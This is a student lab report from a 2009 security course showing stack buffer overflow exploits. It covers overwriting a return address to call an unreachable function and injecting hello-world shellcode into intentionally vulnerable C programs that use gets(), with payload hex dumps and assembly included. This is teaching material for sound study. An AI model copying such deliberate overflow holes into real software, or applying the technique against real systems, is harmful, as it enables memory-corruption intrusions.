

Assignment 4

Prentice Wongvibulsin

CPE 456 Winter 2009

Calling Uncalled()

1. Vulnerability

The vulnerability we are attempting to exploit is a buffer overflow vulnerability in `smashme.c` (listing 1). The `gets` function call on line 14 has the vulnerability we are going to exploit because the `gets` function does not contain a method to specify the length of the buffer passed to the function. When the user of `smashme` provides an input greater than the buffer size, arbitrary memory gets overwritten causing undefined behavior. In our case, we're using this bug to call a function that was never supposed to be called in the program by overwriting the return address of the `__main()` function with the address of `Uncalled()`. When the end of the `__main()` function is reached, it will jump to the `Uncalled()` function and execute that code.

2. Description of Poisoned Input

Listing 2 shows the contents of the poisoned input. The poisoned input is simply the address of the function `Uncalled()` repeated over and over with hopes that it will overwrite the return address. The address of `Uncalled()` was found by the `nm` tool which lists the symbols from an object file.

smashme.c

```
1 // smashme.c - Prentice Wongvibulsin
2 //   *** This program is intended to have a buffer overflow vulnerability ***
3 //
4 #include<stdio.h>
5 #include<stdlib.h>
6 #include<string.h>
7 #define GetSP(sp) asm("movl %%esp,%0": "=r" (sp) : )
8 #define SetSP(sp) asm("movl %0,%%esp": : "r" (sp) )
9 #define STACKSIZE 16384
10 unsigned long MyStack[STACKSIZE];
11 void Uncalled();
12 int __main(int argc, char* argv[]){
13     char buf[12];
14     gets(buf);
15     printf("%s\n",buf);
16     return 0;
17 }
18 int main(int argc, char* argv[]){
19     void *oldSp;
20     GetSP(oldSp);
21     SetSP(MyStack + STACKSIZE);
22     __main(argc,argv);
23     SetSP(oldSp);
24     return 0;
25 }
26 void Uncalled(){
27     printf("Uncalled was called.  Strange that.\n");
28     exit(-1);
29 }
```

Listing 1: smashme.c

3. Output/Screenshots

```
prentice@ts1:~/school/csc456/prgm4/pt1$ ./smashme
hello
hello

prentice@ts1:~/school/csc456/prgm4/pt1$ ./smashme
AAAAAAAAAA
AAAAAAAAAA

prentice@ts1:~/school/csc456/prgm4/pt1$ ./smashme
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
Segmentation fault

prentice@ts1:~/school/csc456/prgm4/pt1$ nm smashme | head -n 2
080496c0 B MyStack
08048428 T Uncalled

prentice@ts1:~/school/csc456/prgm4/pt1$ ./configure 0x080496c0 0x08048428 >\
poisonpill

prentice@ts1:~/school/csc456/prgm4/pt1$ ./smashme < poisonpill
CCCCCCCCC?
Uncalled was called. Strange that.

prentice@ts1:~/school/csc456/prgm4/pt1$ xxd poisonpill
0000000: 2884 0408 2884 0408 2884 0408 2884 0408 (...(...(...(...
0000010: 2884 0408 2884 0408 2884 0408 2884 0408 (...(...(...(...
0000020: 2884 0408 2884 0408 2884 0408 0a      (...(...(......
```

Listing 2: Breaking smashme¹

Injecting Shellcode

1. Vulnerability

The same vulnerability that allowed us to overwrite the return address and call an uncalled function can also allow us to execute arbitrary code. The idea is the same, we will overwrite the return address but this time we will give it the address of our own code that was also injected during the read. The code we inject will simply print hello world and exit.

¹ This demonstration was done on ts1 a local vm I run at home. This was also successfully run on vogon (which happened to be down at the time of writing this lab) and cs1vm185 (a vm for CSC 358).

```

// smashme.c - Prentice Wongvibulsin
//   *** This program is intended to have a buffer overflow vulnerability ***
//

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<sys/mman.h>

#define GetSP(sp) asm("movl %%esp,%0": "=r" (sp) : )
#define SetSP(sp) asm("movl %0,%%esp": : "r" (sp) )

#ifdef PAGESIZE
#define PAGESIZE 4096
#endif
#define STACKSIZE 16384
unsigned long MyStack[STACKSIZE];

void Uncalled();

int __main(int argc, char* argv[]){
    char buf[10];
    gets(buf);
    return 0;
}

int main(int argc, char* argv[]){
    long start;
    start = (long) MyStack;
    start -= start %PAGESIZE;
    if (0<mprotect((void*)start, STACKSIZE, PROT_READ|PROT_WRITE|PROT_EXEC)){
        perror("mprotect");
        exit(1);
    }
    void *oldSp;
    GetSP(oldSp);
    SetSP(MyStack + STACKSIZE - 500);
    __main(argc,argv);
    SetSP(oldSp);
    return 0;
}

```

Listing 3: injectme.c

2. Description of Poisoned Input

This poisoned input (shown in listing 4) contains the following:

- 10 chars of padding to fill the 10 char buffer.
- The ebp address (some arbitrary location on the stack)
- The return address (where we injected our shellcode)
- The shellcode
- Some garbage

```
prentice@ts1:~/school/csc456/prgm4/pt2$ ./exploit | xxd
using 0x8059010
ebp to 0x805920f
00000000: 4141 4141 4141 4141 4141 0f92 0508 1090  AAAAAAAAAA.....
00000010: 0508 eb1e 59b8 0400 0000 bb01 0000 00ba  ....Y.....
00000020: 0f00 0000 cd80 b801 0000 00bb 0000 0000  .....
00000030: cd80 e8dd ffff ff48 656c 6c6f 2c20 776f  .....Hello, wo
00000040: 726c 6421 0a0d 0000 0000 4074 f1b7 0000  rld!.....@t....
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  .....
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  .....
00000070: 0000 0000 0000  .....

```

Listing 4: Poison input for part 2.

The reason we care about the ebp address in this part (and not the first) is because we are doing some kernel calls this time and if the ebp address is the same as our return address, our shellcode will get clobbered. The return address is calculated by running gdb and figuring out where ebp is. $ebp + 4$ is the return address and $ebp + 8$ is where the shellcode begins.

```
prentice@ts1:~/school/csc456/prgm4/pt2$ cat hello2.s
BITS 32
jmp short one
two:
pop ecx
mov eax, 4
mov ebx, 1
mov edx, 15
int 0x80

mov eax, 1
mov ebx, 0
int 0x80

one:
call two
db "Hello, world!", 0x0a, 0x0d

```

Listing 5: Assembly for hello world.

The shellcode we inject is shown in listing 5. It has been compiled by `nasm` and escaped into `ascii` shellcode.

3. Output/Screenshots

```
prentice@ts1:~/school/csc456/prgm4/pt2$ ./injectme
hello
prentice@ts1:~/school/csc456/prgm4/pt2$ ./injectme
AAAAAAAAAAAAAAAAAAAA
Segmentation fault
prentice@ts1:~/school/csc456/prgm4/pt2$ ./exploit | ./injectme
using 0x8058f30
ebp to 0x805912f
Hello, world!
```

Listing 6: Breaking injectme